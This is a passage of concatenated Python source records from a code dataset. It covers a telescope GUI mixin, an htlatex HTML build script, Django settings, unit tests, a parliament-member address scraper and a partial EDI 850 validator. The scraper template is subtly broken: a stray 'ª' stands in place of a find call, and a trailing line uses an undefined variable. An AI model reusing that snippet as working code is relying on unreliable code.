purpose\n \"\"\"\n\n if self.ui.checkAutoDeleteHorizon.isChecked():\n self.app.data.deleteBelowHorizon()\n\n if self.ui.checkAutoDeleteMeridian.isChecked():\n self.app.data.deleteCloseMeridian()\n\n if self.ui.checkSafetyMarginHorizon.isChecked():\n value = self.ui.safetyMarginHorizon.value()\n self.app.data.deleteCloseHorizonLine(value)\n\n return True\n\n def autoSortPoints(self):\n \"\"\"\n autoSortPoints sort the given build point first to east and west and than based\n on the decision high altitude to low altitude or east to west in each hemisphere\n\n :return: success if sorted\n \"\"\"\n\n eastwest = self.ui.checkSortEW.isChecked()\n highlow = self.ui.checkSortHL.isChecked()\n avoidFlip = self.ui.checkAvoidFlip.isChecked()\n\n pierside = self.app.mount.obsSite.pierside\n\n if pierside is None:\n avoidFlip = False\n\n if not eastwest and not highlow and not avoidFlip:\n return False\n\n if avoidFlip:\n self.app.data.sort(eastwest=eastwest,\n highlow=highlow,\n pierside=pierside)\n else:\n self.app.data.sort(eastwest=eastwest, highlow=highlow)\n\n return True\n\n def processPoints(self):\n \"\"\"\n\n :return: True for test purpose\n \"\"\"\n\n self.autoDeletePoints()\n self.autoSortPoints()\n self.app.redrawHemisphere.emit()\n self.app.drawBuildPoints.emit()\n\n return True\n","sub_path":"mw4/gui/mainWmixin/tabBuildPoints.py","file_name":"tabBuildPoints.py","file_ext":"py","file_size_in_byte":22571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"240322371","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# (c) Copyright 2007-2012 by Joseph Reagle\n# Licensed under the GPLv3, see \n\n'''Like bd, but will build HTML using htlatex.'''\n\nimport codecs\nfrom glob import glob\nfrom optparse import OptionParser\nimport os\nfrom os import path\nimport re\nimport shutil\nfrom subprocess import call, check_call, Popen, PIPE\nimport sys\n\nfrom os import environ\nHOME = environ['HOME']\n\nimport argparse # http://docs.python.org/dev/library/argparse.html\narg_parser = argparse.ArgumentParser(description=\n 'Build HTML from markdown')\n\n# positional arguments\narg_parser.add_argument('files', nargs='+', metavar='FILE')\n\n# optional arguments\narg_parser.add_argument(\"-k\", \"--keep-src-html\", action=\"store_true\", \n default=False, help=\"keep the source HTML file for examination or reuse\")\narg_parser.add_argument(\"-a\", \"--auto-notes\", action=\"store_true\", \n default=False, help=\"create auto-numbered notes for MS Word rather than manual notes\")\narg_parser.add_argument(\"-n\", \"--navigation\", action=\"store_true\", \n default=False, help=\"use navigation elements on header/footer of pages\")\narg_parser.add_argument(\"-o\", \"--online-URLs-only\", action=\"store_true\",\n default=False, help=\"only include URLs that are exclusively online\")\narg_parser.add_argument(\"-l\", \"--long-URL\",\n action=\"store_true\", default=False,\n help=\"use long URLs\")\narg_parser.add_argument(\"-p\", \"--paragraph-marks\", action=\"store_true\",\n default=False, help=\"add name/ids for paragraphs\")\narg_parser.add_argument(\"-r\", \"--reuse\", action=\"store_true\", \n default=False, help=\"reuse existing HTML files, rather than a LaTeX rebuild\")\narg_parser.add_argument(\"-s\", \"--single-page\", action=\"store_true\", \n default=False, help=\"create HTML as a single page\")\n\nargs = arg_parser.parse_args()\nfiles = args.files\n\nif args.online_URLs_only:\n fe_opts = '-co'\nelse:\n fe_opts = '-c'\nif args.long_URL: fe_opts += 'l'\nif args.reuse:\n shell_command = shutil.copy\nelse:\n shell_command = shutil.move\nif args.single_page:\n htlatex_opts = 'html,fn-in'\nelse:\n htlatex_opts = '\"html,2\"'\n\nif not files:\n files = [HOME+'/joseph/2010/faith']\nif '2010/faith' in files[0]:\n FILE_MAPPING = {\n '0-book.html' : 'title.html',\n '0-bookch1.html' : 'foreward.html',\n '0-bookch2.html' : 'preface-web.html',\n '0-bookch3.html' : 'preface.html',\n '0-bookch4.html' : 'chapter-1.html',\n '0-bookch5.html' : 'chapter-2.html',\n '0-bookch6.html' : 'chapter-3.html',\n '0-bookch7.html' : 'chapter-4.html',\n '0-bookch8.html' : 'chapter-5.html',\n '0-bookch9.html' : 'chapter-6.html',\n '0-bookch10.html' : 'chapter-7.html',\n '0-bookch11.html' : 'chapter-8.html',\n '0-bookch12.html' : 'references.html',\n '0-bookli1.html' : 'toc.html',\n '0-bookli2.html' : 'bibliography.html',\n }\nelse:\n FILE_MAPPING = {}\n\nfile = files[0]\nprint(\"file = %s\" % file)\nif path.isfile(file):\n src_dir = path.realpath(path.split(file)[0]) + '/'\n project = path.split(file)[1]\n dst_dir = src_dir + 'latex-' + project[:3] + '/'\n base_file_name = '0-article'\n build_file_base = dst_dir + base_file_name\nelse:\n src_dir = path.realpath(file) + '/'\n project = path.split(src_dir[:-1])[1]\n files = [path.basename(file) for file in\n sorted(glob(src_dir +'[!~]*.doc') + glob(src_dir +'[!~]*.md'))]\n dst_dir = src_dir + 'latex-' + project[:3] + '/'\n base_file_name = '0-book'\n build_file_base = dst_dir + base_file_name\nhtml_dir = dst_dir + 'html/'\nbuild_file = build_file_base + '.tex'\nhtml_file = build_file_base + '.html'\ntmp_html_file = html_file + '.tmp'\n\nprint(\"************\")\nprint(\"src_dir = %s \" %src_dir)\nprint(\"dst_dir = %s \" %dst_dir)\nprint(\"build_file_base = %s \" %build_file_base)\n\n#----------------------------\n# Build\n#----------------------------\n\nos.chdir(dst_dir)\n\nif not args.reuse:\n print(\"** calling fe, biber, and htlatex\")\n call(['fe', fe_opts], stdout=open(HOME+'/joseph/readings.bib', 'w'))\n print((' '.join(['biber', base_file_name])))\n call(['biber', base_file_name])\n print((' '.join(['*** htlatex', build_file_base, htlatex_opts])))\n call(['htlatex', build_file_base, htlatex_opts])\n #args.keep_src_html = True\nprint(\"** copying files to html dir\")\n[os.remove(old_file) for old_file in glob('html/*.html')] # remove html files from prev build\n[shutil.copy(html_file, html_dir) for html_file in glob('0-*.html')]\nif not args.keep_src_html:\n [os.remove(html_file) for html_file in glob('0-*.html')]\n\nprint(\"** changing dir\")\nos.chdir(html_dir)\n\nprint(\"** renaming files\")\nif FILE_MAPPING:\n print(\"**** FILE_MAPPING\", FILE_MAPPING)\n for old, new in list(FILE_MAPPING.items()):\n print(\"**** old, new\", old, new)\n os.rename(old, new)\n\n#----------------------------\n# Process files\n#----------------------------\n\ntoc_heading_map = {} # map between htlatex toc generated ids and my ids\n\nfor html_file in sorted(glob('*.html')):\n print('\\n' + html_file + ': ')\n\n data = codecs.open(html_file, 'r', 'iso-8859-1').read()\n\n data = data[data.find('= 250:\n ref_txt = ref_txt[:250] + ' ...'\n ref_txt = re.sub('\\d+(.*)', r'\\1', ref_txt, count=1) # , count=1\n span_popup = SubElement(hyper, 'span')\n span_popup.set('class', 'balloon')\n span_popup.text = ref_txt\n\n\n if args.paragraph_marks:\n if html_file.startswith('chapter') or html_file.startswith('reference'):\n print(\"** add heading marks\")\n headings = doc.xpath(\"//*[name()='h1' or name()='h2' or name()='h3' or name()='h4']\")\n heading_num = 1\n for heading in headings:\n span = Element(\"span\") # prepare span element for section #\n span.set('class', 'headingnum')\n heading_a = heading.xpath('a[position()=1]')[0]\n htlatex_id = heading_a.get('id') # grab id of existing a element\n span.tail = heading_a.tail\n heading.remove(heading_a) # delete 'a' element as I'm replacing it with span\n a_id = 's' + str(heading_num)\n a = SubElement(span, 'a', id=a_id, name=a_id, href='#%s' % a_id)\n a.text = '§' + str(heading_num)\n heading.append(span)\n toc_heading_map[htlatex_id] = a_id\n heading_num += 1\n\n if html_file.startswith('chapter'):\n print(\"** add paragraph-marks\")\n paras = doc.xpath('//p[not(parent::div[@class=\"crosslinks\"])]')\n para_num = 1\n for para in paras:\n if para != None and not para.text.isspace():\n span = Element(\"span\")\n span.set('class', 'paranum')\n span.tail = para.text\n a_id = 'p' + str(para_num)\n a = SubElement(span, 'a', id=a_id, name=a_id, href='#%s' % a_id)\n a.text = '¶' + str(para_num)\n para.text = None\n para.insert(0, span) # insert span at beginning of parent\n para_num += 1\n\n print(\"** remove unnecesssary chapter cruft in Notes\")\n for p in doc.xpath(\"//div[@class='center']/p[@class='noindent']\"):\n spans = p.xpath(\"span\")\n if len(spans) == 3:\n if not spans[1].text.strip().isdigit(): # remove \"Chapter 8\" from Ch1 notes\n div = spans[1].getparent().getparent()\n div_parent = div.getparent()\n div_parent.remove(div)\n else: # remove extra non-hypertextual chapter numbered\n spans[1].text = ''\n p.tag = 'h3' # made it into a subheading\n p.text = tostring(p, method=\"text\", encoding=str).strip()\n [p.remove(span) for span in p] # rm its erroneous span and href\n\n ##------------------------\n ## Manual notes\n ##------------------------\n #if not args.auto_notes:\n #print \"** remove endnote superscripts\",\n #spans = doc.xpath(\"//sup/span[@class='cmr-8']\")\n #for span in spans:\n #span.text = span.text + '. '\n #sup = span.getparent()\n #grandparent = sup.getparent()\n #grandparent.replace(sup, span)\n #------------------------\n # Manual notes\n #------------------------\n if not args.auto_notes:\n print(\"** pretty up endnotes\")\n a_note_nums = doc.xpath(\"//span[@class='footnote-mark']/a\")\n for note_number in a_note_nums:\n if note_number.text:\n note_number.text = note_number.text + ' '\n #------------------------\n # MS Word notes\n #------------------------\n else: # footnotes for MS Word\n if doc.xpath('//h2[text() = \"Notes\"]'):\n print(\"** creating MS Word sections\")\n body = doc.xpath('body')[0]\n section1 = Element('div')\n section1.set(\"class\", \"Section1\")\n ref_loc = body.index(body.xpath('//h2[text() = \"Notes\"]')[-1])\n section1.extend(body[0:ref_loc])\n notes = Element('div', style=\"mso-element:endnote-list\")\n notes.extend(body)\n body.clear()\n body.append(section1)\n body.append(notes)\n\n print(\"** remove remote a hrefs\")\n hypers = doc.xpath(\"//a[@href]\")\n for hyper in hypers:\n if 'edn' not in hyper.get('href'):\n del hyper.attrib['href']\n\n\n ms_ftn_txt = ''''''\n\n print(\"** convert inline notes to MS Word\")\n spans = doc.xpath(\"//sup/a/span[@class='cmr-8']\")\n for span in spans:\n number = int(span.text)\n a = span.getparent()\n sup = a.getparent()\n grandparent = sup.getparent()\n ms_ftn = XML(ms_ftn_txt % (number, number, number))\n ms_ftn.tail = sup.tail\n grandparent.replace(sup, ms_ftn)\n\n\n ms_endnote_txt= '''

. %s

'''\n\n print(\"** convert end notes to MS Word\")\n spans = doc.xpath(\"//sup/span[@class='cmr-8']\")\n for span in spans:\n number = int(span.text)\n sup = span.getparent()\n a = sup.getparent()\n p = a.getparent()\n prenote = a.tail if a.tail else ''\n reference_txt = prenote + ''.join([tostring(node) for node in p[1:]])\n ancestor = p.getparent()\n ms_endnote = XML(ms_endnote_txt % (number, number, number, number,\n reference_txt))\n ancestor.replace(p, ms_endnote)\n\n\n #----------------------------\n # String manipulations\n #----------------------------\n\n new_data = tostring(doc, method='html', include_meta_content_type=False, encoding=str)\n\n print(\"** replace indent with tab\")\n new_data = new_data.replace('

', '

')\\\n .replace('

', '

')\n\n print('** Fix htlatex bugs: s/\",/,\"/ s/visited on/accessed/')\n new_data = new_data.replace('”, ', ',” ')\\\n .replace('(visited on', '(accessed')\n\n if args.paragraph_marks and html_file == ('toc.html'):\n print('** Update ids in toc.html')\n for htlatex_id, a_id in list(toc_heading_map.items()):\n new_data = new_data.replace(htlatex_id, a_id)\n\n #----------------------------\n # File manipulations\n #----------------------------\n\n\n tmp_html_fd = codecs.open(tmp_html_file, \"w\", \"UTF-8\", \"replace\")\n tmp_html_fd.write(new_data)\n tmp_html_fd.close()\n\n print(\"** tidying 1\")\n call(['tidy', '-modify', '-quiet', '-utf8',\n #'--hide-comments', 'True','-numeric',\n #'--clean', ' --merge-divs', '--merge-spans',\n tmp_html_file])\n\n print(\"** validating\")\n p = Popen(['validate', tmp_html_file], stdout=PIPE)\n print(p.stdout.read())\n\n print(\"** renaming tmp to original\")\n os.rename(tmp_html_file, html_file)\n","sub_path":"bdh.py","file_name":"bdh.py","file_ext":"py","file_size_in_byte":15813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"393293706","text":"import os\n\nfrom .base import * # noqa\n\n\nDEBUG = True\n\nALLOWED_HOSTS = ['127.0.0.1', 'localhost']\n\n\n# Database settings\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': os.environ.get('MYSQL_DATABASE'),\n 'USER': os.environ.get('MYSQL_USER'),\n 'PASSWORD': os.environ.get('MYSQL_PASSWORD'),\n 'HOST': 'db',\n 'PORT': '3306',\n 'OPTIONS': {'init_command': 'SET storage_engine=INNODB', },\n }\n}\n\n\n# caching settings\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": \"tcp://redis:6379\",\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n }\n }\n}\n","sub_path":"etdashboard/etdashboard/settings/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"12562826","text":"\"\"\"test array alogrithms\"\"\"\nfrom src.array import find_peak\nfrom src.array import two_sum_dict\nfrom src.array import two_sum_naive\n\n\ndef test_two_sum():\n \"\"\"test two sum\"\"\"\n test_cases = (\n ([2, 11, 7, 9], 9, (0, 2)),\n ([-3, 5, 2, 3, 8, -9], 0, (0, 3)),\n ([-3, 5, 2, 3, 8, -9], 6, None),\n )\n\n for *args, expected in test_cases:\n assert two_sum_dict(*args) == expected\n assert two_sum_naive(*args) == expected\n\n\ndef test_find_peak():\n \"\"\"test find peak\"\"\"\n test_cases = (\n ([10, 20, 30, 40, 50], 4),\n ([1, 2, 3, 1], 2),\n ([1], 0),\n ([4, 3, 2, 1], 0),\n )\n\n for args, expected in test_cases:\n assert find_peak(args) == expected\n","sub_path":"tests/test_array.py","file_name":"test_array.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"152622634","text":"import requests\nfrom bs4 import BeautifulSoup\nimport lxml\n\nbase = \"http://www.parlinfo.fr.ch\"\nbase_url = \"http://www.parlinfo.fr.ch/de/mitglieder/behoerdenmitglieder/\"\nlink_form = \"/de/mitglieder/behoerdenmitglieder/welcome.php?personen_id=\"\n\nmembers = {}\n\ndef scrape_member(name, url):\n #open member page\n r = requests.get(url)\n soup = BeautifulSoup(r.content, 'lxml')\n #find address, add to list\n address = ª(\"div\", {\"id\": \"addressPartContent\"})\n members[name] = address.get_text(\" \")\n\ndef scrape_full_page(url):\n #open page\n r = requests.get(url)\n if r.status_code == 200:\n # find all members\n soup = BeautifulSoup(r.content, 'lxml')\n for a in soup.find_all('a', href=True):\n if link_form in a['href']:\n scrape_member(a.get_text(), base + a['href'])\n\nscrape_full_page(base_url)\n\nfor address in members.keys():\n print(members[address] + \" {\" + address + \"}\")\n\n\nr = requests.get(url)\nsoup = BeautifulSoup(r.content, 'lxml')\nsoup.find_all('div', {'class':'something'})\n","sub_path":"Documentation/Vorlage_scraper.py","file_name":"Vorlage_scraper.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"473875295","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n''' edidoc.py\r\n\r\nThis module contains classes that define an EDI doc\r\ncoming from the Negotium Pegdata software.\r\n\r\n'''\r\nimport logging\r\n#from pprint import pprint\r\n\r\n# for file manipulations\r\nimport os\r\n# regular expressions\r\nimport re\r\n\r\nlog = logging.getLogger('Edidoc')\r\n\r\nclass ediDocError(Exception): \r\n def __init__(self, value):\r\n self.value = value\r\n log.error('ediDocError occured')\r\n \r\n def __str__(self):\r\n return str('ediDocError: %s' % self.value)\r\n \r\nclass ediSegmentError(ediDocError): pass\r\nclass ediElementValidationError(ediDocError): pass\r\n\r\nclass ediSegment():\r\n '''\r\n Segment of information from a Negotium ff file\r\n ''' \r\n def __init__(self, doctype, data, spec):\r\n '''\r\n the constructor fills some class variable and validates the segment\r\n against the specification\r\n '''\r\n self.subSegments = []\r\n self.Type = doctype\r\n self.ID = data[0]\r\n log.debug('ID: %s speclen:%s' % (self.ID, len(spec)-1) )\r\n self.data = data[1:]\r\n self.spec = spec\r\n self._validate()\r\n \r\n def __repr__(self):\r\n return 'doctype : %s ID : %s' % (self.Type, self.ID)\r\n \r\n def _validate(self):\r\n '''\r\n Validate the element against the spec\r\n '''\r\n log.debug('ediSegment.Validate()')\r\n \r\n # spec element #0 contains segment requirements. DO NOT test this right now...\r\n \r\n try:\r\n # if we can index like a dictionary, then we have sub-elements\r\n # process them and return one ediSegment per sub-\r\n log.debug('self.spec[1][%s] = %s' % (self.ID, self.spec[1]))\r\n x = self.spec[1][self.ID]\r\n log.debug('create sub-elements')\r\n \r\n for data in self.data:\r\n spec = self.spec[1][data[0]]\r\n log.debug('datanew: %s\\nspecnew: %s' % (data, spec))\r\n self.subSegments.append(ediSegment(self.Type, data, spec))\r\n \r\n except TypeError as TEx:\r\n # we are in presence of a top-level element, process it directly\r\n data = self.data\r\n spec = self.spec\r\n self._validateElement(data, spec[1:])\r\n\r\n except Exception as ex:\r\n log.exception('ediSegment._validate')\r\n \r\n def _validateElement(self, element, spec):\r\n '''\r\n element: data in a list\r\n spec: validation specification in a list\r\n [requirement:datatype:minlen:maxlen:allowed_IDs]\r\n [M|O|Cx:AN|DT|ID|NB|Rx:0:9999:ID1,ID2,ID3...]\r\n M=Mandatory, O=Optional, C=Conditional on element at position x\r\n AN=Alphanumeric, DT=date, ID=ID_from_allowed_IDs,\r\n NB=integer, Rx=Real number with x decimal\r\n '''\r\n log.debug('ediSegment.ValidateElement(element=%s, spec=%s' %(element, spec))\r\n \r\n for segidx in range(len(element)):\r\n try:\r\n #TODO: trim spaces\r\n segdata = element[segidx]\r\n segspec = str(spec[segidx]).split(':')\r\n# print('-- segdata: %s\\n-- segspec: %s' % (segdata, segspec))\r\n# print('segidx: %s' % segidx)\r\n\r\n # check if the element is required or not\r\n # if the check passes, continue\r\n if self._checkElementRequirement(segdata, segspec[0]):\r\n # verify that the segment has the correct length\r\n self._checkElementLength(segdata, segspec[2:4])\r\n \r\n # check the element type\r\n self._checkElementType(segdata, segspec)\r\n \r\n except ediElementValidationError:\r\n raise\r\n \r\n except IndexError as ie:\r\n log.error('IndexError: %s\\r\\nsegidx: %s' % (ie.args, segidx))\r\n \r\n \r\n except ValueError as ve:\r\n log.error('ValueError: %s' % ve.args)\r\n raise\r\n \r\n except NotImplementedError as NIErr:\r\n log.error(NIErr.args)\r\n \r\n except AttributeError as ex:\r\n # 'list' has no attribute 'split'\r\n # DEV here I assume that if I cannot split segdata, it means\r\n # segdata is a list containing other sub-segments\r\n# print('Exception: %s' % ex.args)\r\n# print('\\tsegdata: %s Type: %s' % (segdata, self.Type))\r\n\r\n subspec = spec[segidx]\r\n subseg = ediSegment(self.Type, segdata, subspec)\r\n except Exception as ex:\r\n log.exception('')\r\n raise\r\n \r\n def _checkElementRequirement(self, elemdata, elemspec):\r\n '''\r\n Checks for the \"required\" validation field\r\n \r\n returns true if validation can continue\r\n returns false if validation should not continue because of an\r\n optional or conditional field\r\n raises an error if validation should stop\r\n \r\n \r\n #TODO: conditional field validation is not complete\r\n '''\r\n #DEV: it seems that in the Negotium documents mandatory fields can be empty !!\r\n # so we check that first and return False as soon as the data is empty\r\n\r\n log.debug('ediSegment._checkElementRequirement(elemdata=%s, elemspec=%s)' % (elemdata, elemspec))\r\n\r\n if str(elemdata).strip() == '':\r\n return False\r\n \r\n # check field requirements\r\n if elemspec == 'Cx': # conditionnal field\r\n #TODO: validate correctly\r\n return True\r\n \r\n elif elemspec == 'M': # mandatory field\r\n if elemdata == '':\r\n raise ediElementValidationError('Field is mandatory but no data found')\r\n else:\r\n return True\r\n \r\n elif elemspec == 'O': # optional field\r\n if elemdata == '':\r\n return False\r\n else:\r\n return True\r\n \r\n def _checkElementLength(self, elemdata, elemlenspec):\r\n log.debug('ediSegment._checkElementLength(elemdata=%s, elemlenspec=%s)' % (elemdata, elemlenspec))\r\n if len(str(elemdata)) != 0:\r\n if len(str(elemdata)) < int(elemlenspec[0]) or len(str(elemdata)) > int(elemlenspec[1]):\r\n raise ediElementValidationError('%s: \"%s\" length is not conform to spec (%s to %s)' % (self.ID, elemdata, elemlenspec[0], elemlenspec[1]))\r\n\r\n def _checkElementType(self, elemdata, elemspec):\r\n log.debug('ediSegment._checkElementType(elemdata=%s, elemspec=%s)' % (elemdata, elemspec))\r\n# print('elemdata: %s' % elemdata)\r\n try:\r\n elemdata = elemdata.strip()\r\n except:\r\n pass\r\n \r\n# print('%s parsing %s' % (elemdata, elemspec))\r\n if len(str(elemdata)) != 0:\r\n if elemspec[1] == 'ID':\r\n checklist = str(elemspec[4]).split(',')\r\n log.debug(checklist)\r\n \r\n if elemdata in checklist:\r\n pass\r\n else:\r\n raise ediElementValidationError('%s: ID \"%s\" not in allowed list \"%s\"' % (self.ID, elemdata, checklist))\r\n\r\n elif elemspec[1] =='AN':\r\n # accepts every character possible\r\n pass\r\n\r\n elif elemspec[1] == 'DT':\r\n import datetime\r\n try:\r\n value = datetime.date(int(elemdata[0:4]), int(elemdata[4:6]), int(elemdata[6:8]))\r\n except ValueError as vex:\r\n raise ediElementValidationError('Segment DT is not a valid date') from vex\r\n except Exception as ex:\r\n raise ediElementValidationError('Segment DT is not a valid date') from ex\r\n \r\n elif elemspec[1] == 'NB':\r\n try:\r\n value = 1 + int(elemdata)\r\n except ValueError as vex:\r\n raise ediElementValidationError('Segment NB is not a number') from vex\r\n except Exception as ex:\r\n raise ediElementValidationError('Segment NB is not a number') from ex\r\n \r\n elif elemspec[1] == 'Rx':\r\n smin = elemspec[2]\r\n smax = elemspec[3]\r\n sdec = elemspec[4]\r\n swhole = str(int(smax) - int(sdec))\r\n# print('smin: %s, smax: %s, sdec: %s, swhole: %s' % (smin,smax,sdec,swhole))\r\n# print(elemdata)\r\n\r\n #ex.: Rx:1:4:2 must match 0004 or 4.40 \r\n spattern = r'(^\\-?(\\d{' + smin + ',' + smax + '})|(\\d{' + smin + ',' + swhole + '}\\[.]\\d{' + smin + ',' + sdec + '}$))'\r\n log.debug(spattern)\r\n rx = re.compile(spattern, re.VERBOSE)\r\n result = rx.search(elemdata)\r\n log.debug('regexp: %s\\nResult: %s' % (rx.pattern, result))\r\n \r\n if result is None and elemdata.strip(' ') != '':\r\n raise ediElementValidationError('%s: \"%s\" does not conform to \"%s\"' % (self.ID, elemdata, rx.pattern))\r\n\r\n else:\r\n raise ediElementValidationError('\"%s\" is not a valid segment type' % elemspec[1])\r\n \r\n \r\nclass ediDoc():\r\n '''\r\n Base class of an EDIdocument\r\n Provides functions for:\r\n - reading the file into a document\r\n - writing the document to disk\r\n\r\n '''\r\n\r\n def __init__(self):\r\n self.segments = []\r\n\r\n def readFile(self, path, filename):\r\n '''\r\n input\r\n filename: a complete path to a text file with an extension\r\n present in the extlist\r\n '''\r\n log.debug('ediDoc.readFile(path=%s, filename=%s)' % (path, filename))\r\n if filename == '':\r\n raise IOError('No file name given')\r\n\r\n self.client = filename.split('-')[0].lower()\r\n self.filename = filename\r\n log.debug('%s: %s' % (self.client, self.filename))\r\n \r\n with open(file=os.path.join(path, filename), mode='r') as edifile:\r\n\r\n for line in edifile:\r\n # remove ending linefeed from the line read\r\n # and split into a list on the \"|\" character\r\n self.segments.append(list(line[:-1].split('|')))\r\n\r\n if self.segments == []:\r\n raise ValueError('Empty edidoc')\r\n\r\n if self.segments[0][0] != 'ID':\r\n raise TypeError('Le fichier n''est pas un fichier EDI reconnu.')\r\n\r\n\r\n def writeFile(self, path, filename):\r\n log.debug('ediDoc.writeFile(path=%s, filename=%s)' % (path, filename))\r\n if self.segments == []:\r\n raise ValueError('fileitems is empty')\r\n\r\n f = open(file=path + filename, mode='w')\r\n\r\n for segment in self.segments:\r\n f.write('|'.join('%s' % elem for elem in segment))\r\n f.write('\\r\\n')\r\n\r\n f.close()\r\n\r\n\r\nclass edi850(ediDoc):\r\n '''\r\n This class defines a purchase order (850 type) document\r\n\r\n The different elements are separated here to be processed later\r\n '''\r\n #DEV: ITEM->ALLOW_ITEM->ID4 changed to AN because ID list very long\r\n #TODO: ID lists must be loaded from database\r\n #TODO: change ID4 to use list from database\r\n docSpec = {'ID':['M', 'M:ID:3:3:850', 'M:AN:1:15', 'M:AN:1:15'], \r\n 'HEAD': ['M', 'O:DT:8:8', 'O:AN:1:22', 'M:DT:8:8', 'M:AN:1:22', \r\n #'M:ID:2:2:00,OO,CO', 'M:ID:2:2:SA,DR,NS,NN,RO,NE,FF', \r\n 'M:ID:2:2:00,OO,CO', 'M:ID:2:2:SA,DR,NS,NN,RO,NE,FF,OS', \r\n 'O:AN:1:22', 'O:AN:1:12', 'O:AN:1:22'],\r\n 'CUR': ['O', 'M:ID:3:3:CAD,USD'],\r\n #'REF': ['M', 'M:ID:2:3:GST,PST,HST,BOL,ATH,CM,SN,APO,RSN,DP,IT,MR', \r\n 'REF': ['M', 'M:ID:2:3:GST,PST,HST,BOL,ATH,CM,SN,APO,RSN,DP,IT,MR,ZZ', \r\n 'M:AN:1:30', 'O:AN:1:20'],\r\n #'M:AN:1:30', 'O:AN:1:10'],\r\n 'MSG': ['O', 'O:AN:2:130'],\r\n #'PER': ['O', 'M:ID:2:2:SR,BY,AG', 'M:AN:1:35', 'M:AN:1:80'],\r\n 'PER': ['O', 'M:ID:2:2:SR,BY,AG,OC,DC,BD', 'M:AN:1:35', 'M:AN:1:80'],\r\n 'ADDR': ['M', \r\n #{'ADDR_TYPE': ['M', 'M:ID:2:2:BT,ST,BY,VN,FD,SF,BS', 'M:AN:1:80', 'M:AN:2:2', 'M:AN:2:20'],\r\n {'ADDR_TYPE': ['M', 'M:ID:2:2:BT,ST,BY,VN,FD,SF,BS,LW', 'M:AN:1:80', 'M:AN:2:2', 'M:AN:2:20'],\r\n 'ADDR': ['M', 'M:AN:1:55', 'M:AN:1:55'],\r\n #'LOCATION': ['M', 'M:AN:2:30', 'M:AN:2:2', 'M:AN:3:15', 'M:ID:2:3:CA,US, ']\r\n 'LOCATION': ['M', 'M:AN:2:30', 'M:AN:2:2', 'M:AN:3:15', 'M:ID:2:3:CA,US,USA, ']\r\n }\r\n ],\r\n 'TERMS_GEN': ['M', 'M:ID:2:2:RT,ST', 'M:ID:2:2:DD,ID, ', 'O:Rx:1:6:3', 'Cx:DT:8:8',\r\n 'Cx:AN:1:3', 'Cx:DT:8:8', 'O:AN:1:3', 'O:Rx:1:10:2', 'O:AN:1:30', 'O:AN:1:2'],\r\n 'DATE': ['M', 'M:ID:2:2:DL,ST,CA,DR,SO,PK', 'M:DT:8:8', 'O:NB:4:8'],\r\n #'FOB': ['M', 'M:ID:2:2:PP,CL,DF,PU', 'M:ID:2:2:CR,DE,ZZ', 'O:AN:1:80'],\r\n 'FOB': ['M', 'M:ID:2:2:PP,CL,DF,PU', 'M:ID:2:2:CR,DE,ZZ,DC', 'O:AN:1:80'],\r\n 'ITEM': ['M', \r\n {'ITEM': ['M', 'O:AN:1:20', 'M:Rx:1:10:3', 'M:ID:2:2:BP,FC,01,BG,BO,BX,BD,Z3,CO,CY,DZ,DR,EA,FT,GR,GS,H4,KG,KT,LF,LM,LY,LT,ML,PK,PL,PC,QT,SF,TH,TM,TS,TI,UN,YD,IN',\r\n 'M:Rx:0:17:4', 'M:ID:2:2:VN', 'M:AN:1:48', 'O:ID:2:2:UP,EN,UK,UA', 'O:AN:1:48',\r\n 'O:ID:2:2:SK', 'O:AN:1:48', 'O:NB:1:3', 'O:NB:1:3'],\r\n 'BO': ['O', 'M:Rx:1:10:3', 'O:Rx:1:10:3'],\r\n 'PRICE': ['O', 'O:ID:3:3:UCP', 'M:Rx:1:17:4'],\r\n 'DESC': ['M', 'M:AN:1:80'],\r\n 'PHYS': ['O', 'M:NB:1:6', 'M:Rx:1:8:3', 'M:ID:2:2:BP,FC,01,BG,BO,BX,BD,Z3,CO,CY,DZ,DR,EA,FT,GR,GS,H4,KG,KT,LF,LM,LY,LT,ML,PK,PL,PC,QT,SF,TH,TM,TS,TI,UN,YD,IN'],\r\n 'TAX': ['O', \r\n {'TAX': ['O', 'M:ID:2:3:GST,PST,HST', 'M:Rx:1:15:2', 'O:Rx:1:10:2']}\r\n ],\r\n 'TERMS_ITEM': ['O', 'M:ID:2:2:RT,ST', 'M:ID:2:2:DD,ID', 'O:Rx:1:6:3', 'Cx:DT:8:8',\r\n 'Cx:AN:1:3', 'C:DT:8:8', 'O:AN:1:3', 'O:Rx:1:10:2', 'O:AN:1:30', 'O:AN:1:2'],\r\n #TODO: Item2 is ID, get list from database\r\n 'ALLOW_ITEM': ['O', 'M:ID:1:1:A,C', 'M:AN:4:4', 'Cx:Rx:1:15:2', 'Cx:Rx:1:6:3', 'Cx:Rx:1:6:3', 'O:AN:1:80'],\r\n 'REF_ITEM': ['O', 'O:ID:2:3:PG', 'O:AN:1:30']\r\n }\r\n ],\r\n 'TOTAL': ['M', 'M:ID:2:2:TT', 'M:Rx:1:15:2','Cx:Rx:1:15:2'],\r\n 'TOTAL_TAX': ['Cx', 'M:ID:2:3:GST,PST,HST', 'M:Rx:1:15:2', 'O:Rx:1:10:2'], \r\n 'CARRIER': ['O', 'O:ID:1:2:AI,CC,PP,PS,PK,ZZ', 'O:AN:2:4', 'O:AN:1:35', 'M:ID:2:3:CN', \r\n 'M:AN:1:30', 'O:ID:2:3:AV,BO,BK,CL,DD,DI,DP,EX,ED,ZZ,PR,CP,PD,SE,CC,CM,CS,CE,LM,SI,BP,SC,SA,SK,SL,SH,SG,SF,SD,SI,SS,ST,OR,UN,UB', \r\n '0:AN:2:15', 'Cx:ID:2:2:01,02,03,04'],\r\n 